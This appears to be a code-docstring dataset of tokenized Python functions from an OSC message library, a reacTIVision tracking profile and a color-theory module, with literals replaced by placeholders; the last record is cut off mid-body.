{"signature": "def hexDump(bytes):", "body": "for i in range(len(bytes)):<EOL><INDENT>sys.stdout.write(\"<STR_LIT>\" % (ord(bytes[i])))<EOL>if (i+<NUM_LIT:1>) % <NUM_LIT:8> == <NUM_LIT:0>:<EOL><INDENT>print(repr(bytes[i-<NUM_LIT:7>:i+<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>if(len(bytes) % <NUM_LIT:8> != <NUM_LIT:0>):<EOL><INDENT>print(string.rjust(\"<STR_LIT>\", <NUM_LIT:11>), repr(bytes[i-len(bytes)%<NUM_LIT:8>:i+<NUM_LIT:1>]))<EOL><DEDENT>", "docstring": "Useful utility; prints the string in hexadecimal", "id": "f11561:m0"}
{"signature": "def readLong(data):", "body": "high, low = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:0>:<NUM_LIT:8>])<EOL>big = (int(high) << <NUM_LIT:32>) + low<EOL>rest = data[<NUM_LIT:8>:]<EOL>return (big, rest)<EOL>", "docstring": "Tries to interpret the next 8 bytes of the data\n    as a 64-bit signed integer.", "id": "f11561:m4"}
{"signature": "def OSCBlob(next):", "body": "if type(next) == type(\"<STR_LIT>\"):<EOL><INDENT>length = len(next)<EOL>padded = math.ceil((len(next)) / <NUM_LIT>) * <NUM_LIT:4><EOL>binary = struct.pack(\"<STR_LIT>\" % (padded), length, next)<EOL>tag    = '<STR_LIT:b>'<EOL><DEDENT>else:<EOL><INDENT>tag    = '<STR_LIT>'<EOL>binary = '<STR_LIT>'<EOL><DEDENT>return (tag, binary)<EOL>", "docstring": "Convert a string into an OSC Blob,\n    returning a (typetag, data) tuple.", "id": "f11561:m6"}
{"signature": "def OSCArgument(next):", "body": "if type(next) == type(\"<STR_LIT>\"):<EOL><INDENT>OSCstringLength = math.ceil((len(next)+<NUM_LIT:1>) / <NUM_LIT>) * <NUM_LIT:4><EOL>binary  = struct.pack(\"<STR_LIT>\" % (OSCstringLength), next)<EOL>tag = \"<STR_LIT:s>\"<EOL><DEDENT>elif type(next) == type(<NUM_LIT>):<EOL><INDENT>binary  = struct.pack(\"<STR_LIT>\", next)<EOL>tag = \"<STR_LIT:f>\"<EOL><DEDENT>elif type(next) == type(<NUM_LIT>):<EOL><INDENT>binary  = struct.pack(\"<STR_LIT>\", next)<EOL>tag = \"<STR_LIT:i>\"<EOL><DEDENT>else:<EOL><INDENT>binary  = \"<STR_LIT>\"<EOL>tag = \"<STR_LIT>\"<EOL><DEDENT>return (tag, binary)<EOL>", "docstring": "Convert some Python types to their\n    OSC binary representations, returning a\n    (typetag, data) tuple.", "id": "f11561:m7"}
{"signature": "def parseArgs(args):", "body": "parsed = []<EOL>for arg in args:<EOL><INDENT>print(arg)<EOL>arg = arg.strip()<EOL>interpretation = None<EOL>try:<EOL><INDENT>interpretation = float(arg)<EOL>if string.find(arg, \"<STR_LIT:.>\") == -<NUM_LIT:1>:<EOL><INDENT>interpretation = int(interpretation)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>interpretation = arg<EOL>pass<EOL><DEDENT>parsed.append(interpretation)<EOL><DEDENT>return parsed<EOL>", "docstring": "Given a list of strings, produces a list\n    where those strings have been parsed (where\n    possible) as floats or integers.", "id": "f11561:m8"}
{"signature": "def decodeOSC(data):", "body": "table = {\"<STR_LIT:i>\":readInt, \"<STR_LIT:f>\":readFloat, \"<STR_LIT:s>\":readString, \"<STR_LIT:b>\":readBlob}<EOL>decoded = []<EOL>address,  rest = readString(data)<EOL>typetags = \"<STR_LIT>\"<EOL>if address == \"<STR_LIT>\":<EOL><INDENT>time, rest = readLong(rest)<EOL>decoded.append(address)<EOL>decoded.append(time)<EOL>while len(rest)><NUM_LIT:0>:<EOL><INDENT>length, rest = readInt(rest)<EOL>decoded.append(decodeOSC(rest[:length]))<EOL>rest = rest[length:]<EOL><DEDENT><DEDENT>elif len(rest) > <NUM_LIT:0>:<EOL><INDENT>typetags, rest = readString(rest)<EOL>decoded.append(address)<EOL>decoded.append(typetags)<EOL>if typetags[<NUM_LIT:0>] == \"<STR_LIT:U+002C>\":<EOL><INDENT>for tag in typetags[<NUM_LIT:1>:]:<EOL><INDENT>value, rest = table[tag](rest)<EOL>decoded.append(value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return decoded<EOL>", "docstring": "Converts a typetagged OSC message to a Python list.", "id": "f11561:m9"}
{"signature": "def append(self, argument, typehint = None):", "body": "if typehint == '<STR_LIT:b>':<EOL><INDENT>binary = OSCBlob(argument)<EOL><DEDENT>else:<EOL><INDENT>binary = OSCArgument(argument)<EOL><DEDENT>self.typetags = self.typetags + binary[<NUM_LIT:0>]<EOL>self.rawAppend(binary[<NUM_LIT:1>])<EOL>", "docstring": "Appends data to the message,\n        updating the typetags based on\n        the argument's type.\n        If the argument is a blob (counted string)\n        pass in 'b' as typehint.", "id": "f11561:c0:m6"}
{"signature": "def rawAppend(self, data):", "body": "self.message = self.message + data<EOL>", "docstring": "Appends raw data to the message.  Use append().", "id": "f11561:c0:m7"}
{"signature": "def getBinary(self):", "body": "address  = OSCArgument(self.address)[<NUM_LIT:1>]<EOL>typetags = OSCArgument(self.typetags)[<NUM_LIT:1>]<EOL>return address + typetags + self.message<EOL>", "docstring": "Returns the binary message (so far) with typetags.", "id": "f11561:c0:m8"}
{"signature": "def handle(self, data, source = None):", "body": "decoded = decodeOSC(data)<EOL>self.dispatch(decoded, source)<EOL>", "docstring": "Given OSC data, tries to call the callback with the\n        right address.", "id": "f11561:c1:m1"}
{"signature": "def dispatch(self, message, source = None):", "body": "msgtype = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>if type(message[<NUM_LIT:0>]) == str:<EOL><INDENT>address = message[<NUM_LIT:0>]<EOL>self.callbacks[address](message)<EOL><DEDENT>elif type(message[<NUM_LIT:0>]) == list:<EOL><INDENT>for msg in message:<EOL><INDENT>self.dispatch(msg)<EOL><DEDENT><DEDENT><DEDENT>except KeyError as key:<EOL><INDENT>print('<STR_LIT>' % (address, key, message))<EOL>pprint.pprint(message)<EOL><DEDENT>except IndexError as e:<EOL><INDENT>print('<STR_LIT>' % (e, message))<EOL>pass<EOL><DEDENT>except None as e:<EOL><INDENT>print(\"<STR_LIT>\", address, \"<STR_LIT>\", e)<EOL><DEDENT>return<EOL>", "docstring": "Sends decoded OSC data to an appropriate calback", "id": "f11561:c1:m2"}
{"signature": "def add(self, callback, name):", "body": "if callback == None:<EOL><INDENT>del self.callbacks[name]<EOL><DEDENT>else:<EOL><INDENT>self.callbacks[name] = callback<EOL><DEDENT>", "docstring": "Adds a callback to our set of callbacks,\n        or removes the callback with name if callback\n        is None.", "id": "f11561:c1:m3"}
{"signature": "def unbundler(self, messages):", "body": "<EOL>for message in messages[<NUM_LIT:2>:]:<EOL><INDENT>self.dispatch(message)<EOL><DEDENT>", "docstring": "Dispatch the messages in a decoded bundle.", "id": "f11561:c1:m4"}
{"signature": "def set(self, client, message):", "body": "raise NotImplementedError<EOL>", "docstring": "The state of each alive (but unchanged) fiducial is periodically\nresent with 'set' messages.", "id": "f11562:c0:m1"}
{"signature": "def alive(self, client, message):", "body": "raise NotImplementedError<EOL>", "docstring": "The 'alive' message contains the session ids of all alive fiducials\nknown to reacTIVision.", "id": "f11562:c0:m2"}
{"signature": "def fseq(self, client, message):", "body": "client.last_frame = client.current_frame<EOL>client.current_frame = message[<NUM_LIT:3>]<EOL>", "docstring": "fseq messages associate a unique frame id with a set of set\nand alive messages", "id": "f11562:c0:m3"}
{"signature": "def objs(self):", "body": "for obj in self.objects.itervalues():<EOL><INDENT>if obj.sessionid in self.sessions:<EOL><INDENT>yield obj<EOL><DEDENT><DEDENT>", "docstring": "Returns a generator list of tracked objects which are recognized with\nthis profile and are in the current session.", "id": "f11562:c0:m4"}
{"signature": "def hex_to_rgb(hex):", "body": "hex = hex.lstrip(\"<STR_LIT:#>\")<EOL>if len(hex) < <NUM_LIT:6>:<EOL><INDENT>hex += hex[-<NUM_LIT:1>] * (<NUM_LIT:6> - len(hex))<EOL><DEDENT>r, g, b = hex[<NUM_LIT:0>:<NUM_LIT:2>], hex[<NUM_LIT:2>:<NUM_LIT:4>], hex[<NUM_LIT:4>:]<EOL>r, g, b = [int(n, <NUM_LIT:16>) / <NUM_LIT> for n in (r, g, b)]<EOL>return r, g, b<EOL>", "docstring": "Returns RGB values for a hex color string.", "id": "f11564:m1"}
{"signature": "def lab_to_rgb(l, a, b):", "body": "y = (l + <NUM_LIT:16>) / <NUM_LIT><EOL>x = a / <NUM_LIT> + y<EOL>z = y - b / <NUM_LIT><EOL>v = [x, y, z]<EOL>for i in _range(<NUM_LIT:3>):<EOL><INDENT>if pow(v[i], <NUM_LIT:3>) > <NUM_LIT>:<EOL><INDENT>v[i] = pow(v[i], <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>v[i] = (v[i] - <NUM_LIT:16> / <NUM_LIT>) / <NUM_LIT><EOL><DEDENT><DEDENT>x = v[<NUM_LIT:0>] * <NUM_LIT> / <NUM_LIT:100><EOL>y = v[<NUM_LIT:1>] * <NUM_LIT> / <NUM_LIT:100><EOL>z = v[<NUM_LIT:2>] * <NUM_LIT> / <NUM_LIT:100><EOL>r = x * <NUM_LIT> + y * -<NUM_LIT> + z * -<NUM_LIT><EOL>g = x * -<NUM_LIT> + y * <NUM_LIT> + z * <NUM_LIT><EOL>b = x * <NUM_LIT> + y * -<NUM_LIT> + z * <NUM_LIT><EOL>v = [r, g, b]<EOL>for i in _range(<NUM_LIT:3>):<EOL><INDENT>if v[i] > <NUM_LIT>:<EOL><INDENT>v[i] = <NUM_LIT> * pow(v[i], <NUM_LIT:1> / <NUM_LIT>) - <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>v[i] = <NUM_LIT> * v[i]<EOL><DEDENT><DEDENT>r, g, b = v[<NUM_LIT:0>], v[<NUM_LIT:1>], v[<NUM_LIT:2>]<EOL>return r, g, b<EOL>", "docstring": "Converts CIE Lab to RGB components.\n\n    First we have to convert to XYZ color space.\n    Conversion involves using a white point,\n    in this case D65 which represents daylight illumination.\n\n    Algorithm adopted from:\n    http://www.easyrgb.com/math.php", "id": "f11564:m2"}
{"signature": "def cmyk_to_rgb(c, m, y, k):", "body": "r = <NUM_LIT:1.0> - min(<NUM_LIT:1.0>, c + k)<EOL>g = <NUM_LIT:1.0> - min(<NUM_LIT:1.0>, m + k)<EOL>b = <NUM_LIT:1.0> - min(<NUM_LIT:1.0>, y + k)<EOL>return r, g, b<EOL>", "docstring": "Cyan, magenta, yellow, black to red, green, blue.\n    ReportLab, http://www.koders.com/python/fid5C006F554616848C01AC7CB96C21426B69D2E5A9.aspx\n    Results will differ from the way NSColor converts color spaces.", "id": "f11564:m3"}
{"signature": "def hsv_to_rgb(h, s, v):", "body": "if s == <NUM_LIT:0>: return v, v, v<EOL>h = h / (<NUM_LIT> / <NUM_LIT>)<EOL>i = floor(h)<EOL>f = h - i<EOL>p = v * (<NUM_LIT:1> - s)<EOL>q = v * (<NUM_LIT:1> - s * f)<EOL>t = v * (<NUM_LIT:1> - s * (<NUM_LIT:1> - f))<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>r = v;<EOL>g = t;<EOL>b = p<EOL><DEDENT>elif i == <NUM_LIT:1>:<EOL><INDENT>r = q;<EOL>g = v;<EOL>b = p<EOL><DEDENT>elif i == <NUM_LIT:2>:<EOL><INDENT>r = p;<EOL>g = v;<EOL>b = t<EOL><DEDENT>elif i == <NUM_LIT:3>:<EOL><INDENT>r = p;<EOL>g = q;<EOL>b = v<EOL><DEDENT>elif i == <NUM_LIT:4>:<EOL><INDENT>r = t;<EOL>g = p;<EOL>b = v<EOL><DEDENT>else:<EOL><INDENT>r = v;<EOL>g = p;<EOL>b = q<EOL><DEDENT>return r, g, b<EOL>", "docstring": "Hue, saturation, brightness to red, green, blue.\n    http://www.koders.com/python/fidB2FE963F658FE74D9BF74EB93EFD44DCAE45E10E.aspx\n    Results will differ from the way NSColor converts color spaces.", "id": "f11564:m5"}
{"signature": "def complement(clr):", "body": "clr = color(clr)<EOL>colors = colorlist(clr)<EOL>colors.append(clr.complement)<EOL>return colors<EOL>", "docstring": "Returns the color and its complement in a list.", "id": "f11564:m16"}
{"signature": "def complementary(clr):", "body": "clr = color(clr)<EOL>colors = colorlist(clr)<EOL>c = clr.copy()<EOL>if clr.brightness > <NUM_LIT>:<EOL><INDENT>c.brightness = <NUM_LIT:0.1> + c.brightness * <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>c.brightness = <NUM_LIT:1.0> - c.brightness * <NUM_LIT><EOL><DEDENT>colors.append(c)<EOL>c = clr.copy()<EOL>c.brightness = <NUM_LIT> + c.brightness<EOL>c.saturation = <NUM_LIT:0.1> + c.saturation * <NUM_LIT><EOL>colors.append(c)<EOL>clr = clr.complement<EOL>c = clr.copy()<EOL>if clr.brightness > <NUM_LIT>:<EOL><INDENT>c.brightness = <NUM_LIT:0.1> + clr.brightness * <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>c.brightness = <NUM_LIT:1.0> - c.brightness * <NUM_LIT><EOL><DEDENT>colors.append(c)<EOL>colors.append(clr)<EOL>c = clr.copy()<EOL>c.brightness = <NUM_LIT> + c.brightness<EOL>c.saturation = <NUM_LIT:0.1> + c.saturation * <NUM_LIT><EOL>colors.append(c)<EOL>return colors<EOL>", "docstring": "Returns a list of complementary colors.\n\nThe complement is the color 180 degrees across\nthe artistic RYB color wheel.\nThe list contains darker and softer contrasting\nand complementing colors.", "id": "f11564:m17"}
{"signature": "def split_complementary(clr):", "body": "clr = color(clr)<EOL>colors = colorlist(clr)<EOL>clr = clr.complement<EOL>colors.append(clr.rotate_ryb(-<NUM_LIT:30>).lighten(<NUM_LIT:0.1>))<EOL>colors.append(clr.rotate_ryb(<NUM_LIT:30>).lighten(<NUM_LIT:0.1>))<EOL>return colors<EOL>", "docstring": "Returns a list with the split complement of the color.\n\nThe split complement are the two colors to the left and right\nof the color's complement.", "id": "f11564:m18"}
{"signature": "def left_complement(clr):", "body": "left = split_complementary(clr)[<NUM_LIT:1>]<EOL>colors = complementary(clr)<EOL>colors[<NUM_LIT:3>].h = left.h<EOL>colors[<NUM_LIT:4>].h = left.h<EOL>colors[<NUM_LIT:5>].h = left.h<EOL>colors = colorlist(<EOL>colors[<NUM_LIT:0>], colors[<NUM_LIT:2>], colors[<NUM_LIT:1>], colors[<NUM_LIT:3>], colors[<NUM_LIT:4>], colors[<NUM_LIT:5>]<EOL>)<EOL>return colors<EOL>", "docstring": "Returns the left half of the split complement.\n\nA list is returned with the same darker and softer colors\nas in the complementary list, but using the hue of the\nleft split complement instead of the complement itself.", "id": "f11564:m19"}
{"signature": "def right_complement(clr):", "body": "right = split_complementary(clr)[<NUM_LIT:2>]<EOL>colors = complementary(clr)<EOL>colors[<NUM_LIT:3>].h = right.h<EOL>colors[<NUM_LIT:4>].h = right.h<EOL>colors[<NUM_LIT:5>].h = right.h<EOL>colors = colorlist(<EOL>colors[<NUM_LIT:0>], colors[<NUM_LIT:2>], colors[<NUM_LIT:1>], colors[<NUM_LIT:5>], colors[<NUM_LIT:4>], colors[<NUM_LIT:3>]<EOL>)<EOL>return colors<EOL>", "docstring": "Returns the right half of the split complement.", "id": "f11564:m20"}
{"signature": "def analogous(clr, angle=<NUM_LIT:10>, contrast=<NUM_LIT>):", "body": "contrast = max(<NUM_LIT:0>, min(contrast, <NUM_LIT:1.0>))<EOL>clr = color(clr)<EOL>colors = colorlist(clr)<EOL>for i, j in [(<NUM_LIT:1>, <NUM_LIT>), (<NUM_LIT:2>, <NUM_LIT:1>), (-<NUM_LIT:1>, -<NUM_LIT:0.5>), (-<NUM_LIT:2>, <NUM_LIT:1>)]:<EOL><INDENT>c = clr.rotate_ryb(angle * i)<EOL>t = <NUM_LIT> - j * <NUM_LIT:0.1><EOL>if clr.brightness - contrast * j < t:<EOL><INDENT>c.brightness = t<EOL><DEDENT>else:<EOL><INDENT>c.brightness = clr.brightness - contrast * j<EOL><DEDENT>c.saturation -= <NUM_LIT><EOL>colors.append(c)<EOL><DEDENT>return colors<EOL>", "docstring": "Returns colors that are next to each other on the wheel.\n\nThese yield natural color schemes (like shades of water or sky).\nThe angle determines how far the colors are apart,\nmaking it bigger will introduce more variation.\nThe contrast determines the darkness/lightness of\nthe analogue colors in respect to the given colors.", "id": "f11564:m21"}
{"signature": "def monochrome(clr):", "body": "def _wrap(x, min, threshold, plus):<EOL><INDENT>if x - min < threshold:<EOL><INDENT>return x + plus<EOL><DEDENT>else:<EOL><INDENT>return x - min<EOL><DEDENT><DEDENT>colors = colorlist(clr)<EOL>c = clr.copy()<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT:0.5>, <NUM_LIT>, <NUM_LIT>)<EOL>c.saturation = _wrap(clr.saturation, <NUM_LIT>, <NUM_LIT:0.1>, <NUM_LIT>)<EOL>colors.append(c)<EOL>c = clr.copy()<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>colors.append(c)<EOL>c = clr.copy()<EOL>c.brightness = max(<NUM_LIT>, clr.brightness + (<NUM_LIT:1> - clr.brightness) * <NUM_LIT>)<EOL>c.saturation = _wrap(clr.saturation, <NUM_LIT>, <NUM_LIT:0.1>, <NUM_LIT>)<EOL>colors.append(c)<EOL>c = clr.copy()<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT:0.5>, <NUM_LIT>, <NUM_LIT>)<EOL>colors.append(c)<EOL>return colors<EOL>", "docstring": "Returns colors in the same hue with varying brightness/saturation.", "id": "f11564:m22"}
{"signature": "def triad(clr, angle=<NUM_LIT>):", "body": "clr = color(clr)<EOL>colors = colorlist(clr)<EOL>colors.append(clr.rotate_ryb(angle).lighten(<NUM_LIT:0.1>))<EOL>colors.append(clr.rotate_ryb(-angle).lighten(<NUM_LIT:0.1>))<EOL>return colors<EOL>", "docstring": "Returns a triad of colors.\n\nThe triad is made up of this color and two other colors\nthat together make up an equilateral triangle on\nthe artistic color wheel.", "id": "f11564:m23"}
{"signature": "def tetrad(clr, angle=<NUM_LIT>):", "body": "clr = color(clr)<EOL>colors = colorlist(clr)<EOL>c = clr.rotate_ryb(angle)<EOL>if clr.brightness < <NUM_LIT:0.5>:<EOL><INDENT>c.brightness += <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>c.brightness -= -<NUM_LIT><EOL><DEDENT>colors.append(c)<EOL>c = clr.rotate_ryb(angle * <NUM_LIT:2>)<EOL>if clr.brightness < <NUM_LIT:0.5>:<EOL><INDENT>c.brightness += <NUM_LIT:0.1><EOL><DEDENT>else:<EOL><INDENT>c.brightness -= -<NUM_LIT:0.1><EOL><DEDENT>colors.append(c)<EOL>colors.append(clr.rotate_ryb(angle * <NUM_LIT:3>).lighten(<NUM_LIT:0.1>))<EOL>return colors<EOL>", "docstring": "Returns a tetrad of colors.\n\nThe tetrad is made up of this color and three other colors\nthat together make up a cross on the artistic color wheel.", "id": "f11564:m24"}
{"signature": "def compound(clr, flip=False):", "body": "def _wrap(x, min, threshold, plus):<EOL><INDENT>if x - min < threshold:<EOL><INDENT>return x + plus<EOL><DEDENT>else:<EOL><INDENT>return x - min<EOL><DEDENT><DEDENT>d = <NUM_LIT:1><EOL>if flip: d = -<NUM_LIT:1><EOL>clr = color(clr)<EOL>colors = colorlist(clr)<EOL>c = clr.rotate_ryb(<NUM_LIT:30> * d)<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>colors.append(c)<EOL>c = clr.rotate_ryb(<NUM_LIT:30> * d)<EOL>c.saturation = _wrap(clr.saturation, <NUM_LIT>, <NUM_LIT:0.1>, <NUM_LIT>)<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>colors.append(c)<EOL>c = clr.rotate_ryb(<NUM_LIT> * d)<EOL>c.saturation = _wrap(clr.saturation, <NUM_LIT>, <NUM_LIT:0.1>, <NUM_LIT>)<EOL>c.brightness = max(<NUM_LIT>, clr.brightness)<EOL>colors.append(c)<EOL>c = clr.rotate_ryb(<NUM_LIT> * d)<EOL>c.saturation = _wrap(clr.saturation, <NUM_LIT:0.1>, <NUM_LIT>, <NUM_LIT:0.1>)<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>colors.append(c)<EOL>c = clr.rotate_ryb(<NUM_LIT> * d)<EOL>c.saturation = _wrap(clr.saturation, <NUM_LIT:0.1>, <NUM_LIT>, <NUM_LIT:0.1>)<EOL>c.brightness = _wrap(clr.brightness, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>return colors<EOL>", "docstring": "Roughly the complement and some far analogs.", "id": "f11564:m25"}
{"signature": "def outline(path, colors, precision=<NUM_LIT>, continuous=True):", "body": "<EOL>def _point_count(path, precision):<EOL><INDENT>return max(int(path.length * precision * <NUM_LIT:0.5>), <NUM_LIT:10>)<EOL><DEDENT>n = sum([_point_count(contour, precision) for contour in path.contours])<EOL>contour_i = <NUM_LIT:0><EOL>contour_n = len(path.contours) - <NUM_LIT:1><EOL>if contour_n == <NUM_LIT:0>: continuous = False<EOL>i = <NUM_LIT:0><EOL>for contour in path.contours:<EOL><INDENT>if not continuous: i = <NUM_LIT:0><EOL>j = _point_count(contour, precision)<EOL>first = True<EOL>for pt in contour.points(j):<EOL><INDENT>if first:<EOL><INDENT>first = False<EOL><DEDENT>else:<EOL><INDENT>if not continuous:<EOL><INDENT>clr = float(i) / j * len(colors)<EOL><DEDENT>else:<EOL><INDENT>clr = float(i) / n * len(colors) - <NUM_LIT:1> * contour_i / contour_n<EOL><DEDENT>_ctx.stroke(colors[int(clr)])<EOL>_ctx.line(x0, y0, pt.x, pt.y)<EOL><DEDENT>x0 = pt.x<EOL>y0 = pt.y<EOL>i += <NUM_LIT:1><EOL><DEDENT>pt = contour.point(<NUM_LIT>)  <EOL>_ctx.line(x0, y0, pt.x, pt.y)<EOL>contour_i += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Outlines each contour in a path with the colors in the list.\n\nEach contour starts with the first color in the list,\nand ends with the last color in the list.\n\nBecause each line segment is drawn separately,\nworks only with corner-mode transforms.", "id": "f11564:m28"}
{"signature": "def guess_name(clr):", "body": "clr = Color(clr)<EOL>if clr.is_transparent: return \"<STR_LIT>\"<EOL>if clr.is_black: return \"<STR_LIT>\"<EOL>if clr.is_white: return \"<STR_LIT>\"<EOL>if clr.is_black: return \"<STR_LIT>\"<EOL>for name in named_colors:<EOL><INDENT>try:<EOL><INDENT>r, g, b = named_colors[name]<EOL><DEDENT>except:<EOL><INDENT>continue<EOL><DEDENT>if r == clr.r and g == clr.g and b == clr.b:<EOL><INDENT>return name<EOL><DEDENT><DEDENT>for shade in shades:<EOL><INDENT>if clr in shade:<EOL><INDENT>return shade.name + \"<STR_LIT:U+0020>\" + clr.nearest_hue()<EOL>break<EOL><DEDENT><DEDENT>return clr.nearest_hue()<EOL>", "docstring": "Guesses the shade and hue name of a color.\n\nIf the given color is named in the named_colors list, return that name.\nOtherwise guess its nearest hue and shade range.", "id": "f11564:m32"}
{"signature": "def shader(x, y, dx, dy, radius=<NUM_LIT>, angle=<NUM_LIT:0>, spread=<NUM_LIT>):", "body": "if angle != None:<EOL><INDENT>radius *= <NUM_LIT:2><EOL><DEDENT>d = sqrt((dx - x) ** <NUM_LIT:2> + (dy - y) ** <NUM_LIT:2>)<EOL>a = degrees(atan2(dy - y, dx - x)) + <NUM_LIT><EOL>if d <= radius:<EOL><INDENT>d1 = <NUM_LIT:1.0> * d / radius<EOL><DEDENT>else:<EOL><INDENT>d1 = <NUM_LIT:1.0><EOL><DEDENT>if angle is None:<EOL><INDENT>return <NUM_LIT:1> - d1<EOL><DEDENT>angle = <NUM_LIT> - angle % <NUM_LIT><EOL>spread = max(<NUM_LIT:0>, min(spread, <NUM_LIT>))<EOL>if spread == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>d = abs(a - angle)<EOL>if d <= spread / <NUM_LIT:2>:<EOL><INDENT>d2 = d / spread + d1<EOL><DEDENT>else:<EOL><INDENT>d2 = <NUM_LIT:1.0><EOL><DEDENT>if <NUM_LIT> - angle <= spread / <NUM_LIT:2>:<EOL><INDENT>d = abs(<NUM_LIT> - angle + a)<EOL>if d <= spread / <NUM_LIT:2>:<EOL><INDENT>d2 = d / spread + d1<EOL><DEDENT><DEDENT>if angle < spread / <NUM_LIT:2>:<EOL><INDENT>d = abs(<NUM_LIT> + angle - a)<EOL>if d <= spread / <NUM_LIT:2>:<EOL><INDENT>d2 = d / spread + d1<EOL><DEDENT><DEDENT>return <NUM_LIT:1> - max(<NUM_LIT:0>, min(d2, <NUM_LIT:1>))<EOL>", "docstring": "Returns a 0.0 - 1.0 brightness adjusted to a light source.\n\nThe light source is positioned at dx, dy.\nThe returned float is calculated for x, y position\n(e.g. an oval at x, y should have this brightness).\n\nThe radius influences the strength of the light,\nangle and spread control the direction of the light.", "id": "f11564:m33"}
{"signature": "def aggregated(cache=DEFAULT_CACHE):", "body": "global _aggregated_name, _aggregated_dict<EOL>if _aggregated_name != cache:<EOL><INDENT>_aggregated_name = cache<EOL>_aggregated_dict = {}<EOL>for path in glob(os.path.join(cache, \"<STR_LIT:*>\")):<EOL><INDENT>if os.path.isdir(path):<EOL><INDENT>p = os.path.basename(path)<EOL>_aggregated_dict[p] = glob(os.path.join(path, \"<STR_LIT:*>\"))<EOL>_aggregated_dict[p] = [os.path.basename(f)[:-<NUM_LIT:4>] for f in _aggregated_dict[p]]<EOL><DEDENT><DEDENT><DEDENT>return _aggregated_dict<EOL>", "docstring": "A dictionary of all aggregated words.\n\nThey keys in the dictionary correspond to subfolders in the aggregated cache.\nEach key has a list of words. Each of these words is the name of an XML-file\nin the subfolder. The XML-file contains color information harvested from the web\n(or handmade).", "id": "f11564:m34"}
{"signature": "def search_engine(query, top=<NUM_LIT:5>, service=\"<STR_LIT>\", license=None,<EOL>cache=os.path.join(DEFAULT_CACHE, \"<STR_LIT>\")):", "body": "<EOL>try:<EOL><INDENT>a = theme(query, cache=cache)<EOL>return a<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if service == \"<STR_LIT>\":<EOL><INDENT>from web import google<EOL>search_engine = google<EOL><DEDENT>if service == \"<STR_LIT>\":<EOL><INDENT>from web import yahoo<EOL>search_engine = yahoo<EOL>if license:<EOL><INDENT>yahoo.license_key = license<EOL><DEDENT><DEDENT>sorted_colors = search_engine.sort(<EOL>[h for h in primary_hues] + [\"<STR_LIT>\", \"<STR_LIT>\"],<EOL>context=query, strict=True, cached=True<EOL>)<EOL>sorted_shades = search_engine.sort(<EOL>[str(s) for s in shades],<EOL>context=query, strict=True, cached=True<EOL>)<EOL>f = lambda x: x.strip(\"<STR_LIT>\").split()[<NUM_LIT:0>]<EOL>n2 = sum([w for h, w in sorted_colors[:top]])<EOL>sorted_colors = [(color(f(h)), w / n2) for h, w in sorted_colors[:top]]<EOL>n2 = sum([w for s, w in sorted_shades[:<NUM_LIT:3>]])<EOL>sorted_shades = [(shade(f(s)), w / n2) for s, w in sorted_shades[:<NUM_LIT:3>]]<EOL>a = theme(cache=cache)<EOL>a.name = query<EOL>for clr, w1 in sorted_colors:<EOL><INDENT>for rng, w2 in sorted_shades:<EOL><INDENT>a.add_range(rng, clr, w1 * w2)<EOL><DEDENT><DEDENT>a._save()<EOL>return a<EOL>", "docstring": "Return a color aggregate from colors and ranges parsed from the web.\nT. De Smedt, http://nodebox.net/code/index.php/Prism", "id": "f11564:m36"}
{"signature": "def morguefile(query, n=<NUM_LIT:10>, top=<NUM_LIT:10>):", "body": "from web import morguefile<EOL>images = morguefile.search(query)[:top]<EOL>path = choice(images).download(thumbnail=True, wait=<NUM_LIT:10>)<EOL>return ColorList(path, n, name=query)<EOL>", "docstring": "Returns a list of colors drawn from a morgueFile image.\n\nWith the Web library installed,\ndownloads a thumbnail from morgueFile and retrieves pixel colors.", "id": "f11564:m39"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.name = \"<STR_LIT>\"<EOL>RGB = Bot.RGB<EOL>HSB = Bot.HSB<EOL>mode, range = _ctx.color_mode, _ctx.color_range<EOL>modes = [RGB, HSB]<EOL>if len(args) == <NUM_LIT:1>and isinstance(args[<NUM_LIT:0>], (str, unicode)):<EOL><INDENT>if args[<NUM_LIT:0>].startswith(\"<STR_LIT:#>\"):<EOL><INDENT>r, g, b = hex_to_rgb(args[<NUM_LIT:0>])<EOL>a = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>v = self.str_to_rgb(args[<NUM_LIT:0>])<EOL>if len(v) == <NUM_LIT:3>:<EOL><INDENT>r, g, b = v<EOL>a = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>r, g, b, a = v<EOL><DEDENT>self.name = args[<NUM_LIT:0>]<EOL><DEDENT>_ctx.colormode(RGB, <NUM_LIT:1.0>)<EOL>BaseColor.__init__(self, r, g, b, a, mode='<STR_LIT>', color_range=<NUM_LIT:1.0>)<EOL><DEDENT>elif len(args) == <NUM_LIT:1>and isinstance(args[<NUM_LIT:0>], BaseColor):<EOL><INDENT>_ctx.colormode(RGB, <NUM_LIT:1.0>)<EOL>BaseColor.__init__(self, args[<NUM_LIT:0>].r, args[<NUM_LIT:0>].g, args[<NUM_LIT:0>].b, args[<NUM_LIT:0>].a, mode='<STR_LIT>', color_range=<NUM_LIT:1.0>)<EOL><DEDENT>elif kwargs.has_key(\"<STR_LIT>\")and 